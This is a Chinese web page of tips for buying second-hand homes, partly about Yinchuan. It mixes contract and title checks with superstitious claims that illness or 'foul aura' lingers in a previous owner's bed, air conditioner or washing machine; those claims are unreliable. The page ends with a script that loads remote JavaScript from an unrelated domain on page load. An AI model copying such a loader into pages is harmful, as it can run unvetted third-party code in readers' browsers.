买二手房注意的问题

入住旧房或者二手房，需要先了解此宅先前的居住者(房主或者租户)，在此宅居住时有无异常或者不利的状况，但有些特殊状况房主也很可能会避而不谈，这就需要自身多方面了解或者能够深层探知，不要一味的仅考虑价钱、格局及风水的好坏，反而忽略了其他的重要问题，导致选择后的种种不利，这样就得不偿失了。 泓翔老师凭经验告诉我们，有以下一些事情是必须要了解的内容： 一、就是此宅先前有哪些人居住过，大概是什么状况，有没有异常的情况发生，如果原来此宅居住的人运势很差、处境困窘，或者出现过凶杀、异常死亡、失踪等，自身就要多考虑一下; 二、适当的了解周围的邻居有无异常生活方式，及每日的此宅会出现的特殊状况; 三、不能单凭外观的优越性看此宅，不要因为表象忽略了其他的问题，因为大多数情况下，卖房或租房的房主，会提前修整一下内饰及外观，墙壁的裂缝及缺损等很容易被修饰弥补; 四、如果选择了此房，无论是暂时租住还是永久居住，都不要使用上一家人遗留下来的床，因为是否有过世、久疾的人使用过此床; 五、也不要使用上一家人遗留下来的空调，因为空调的气流交换系统中会残留有上一家人的气息，无论是疾病的还是秽气的，假如为省钱考虑而使用，用之前要找人将空调彻底清洗干净，但最好还是买一部新的空调; 六、也不要使用上一家人遗留下来的洗衣机，因为会残留上一家人的疾病或者秽气，如果找人清理，恐怕很难清理的那么干净。

买卖银川二手房要注意的关键问题

买卖银川二手房须知第一点：必须首先核实卖家的身份，并选择可靠的中介机构。一般选择中介机构，可以选择正式可信的房地产中介机构作为二手房交易基金的管理机构，以确保资金的顺利转移。咨询中介机构应当持有“两证”。一是工商部门颁发的营业执照，二是房屋土地局颁发的中介机构资格证书，是购买二手房的前提。买卖银川二手房须知第二点：产权确认。房产证的产权与业主和房产的性质和内容一致，包括标准价格、地址和住房面积分配比例。同时要检查证书的原件和真实性。还需要知道二手房是符合成本效益的、标准的还是经济实惠的。不同的房产涉及复杂的销售流程，这会影响二手房销售合同的签订。买卖银川二手房须知第三点：核实该房是否允许出售。确认原单位是否同意将本单位的商品和福利出售给原所有人；军品、医院财产、学校财产和总公司在同一个院子里，本单位一般属于特殊单位，公房单位不同意不具备上市资格。买卖银川二手房须知第四点：主要承诺应体现在合同中。在签订合同的时候，任何有关交易的关键协议或卖方的任何承诺都应反映在银川二手房合同中，而不是口头协议中，因为在任何情况下都存在争议，口头同意不能被证明。买卖银川二手房须知第五点：明确支付方式和时间。这个环节容易引起争议，所以需要在银川二手房合同中明确总房价、付款方式、付款时间、付款条件、贷款等相关内容。买受人可按房屋总价的10%作为交付条件，按交付期限向出卖人支付，或要求出租人在交付后搬出并支付房屋款。买卖银川二手房须知第六点：合同必备条款主要包括建筑面积及附属设施、价款及支付方式、土地使用年限、房屋交付期限、违约责任等。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();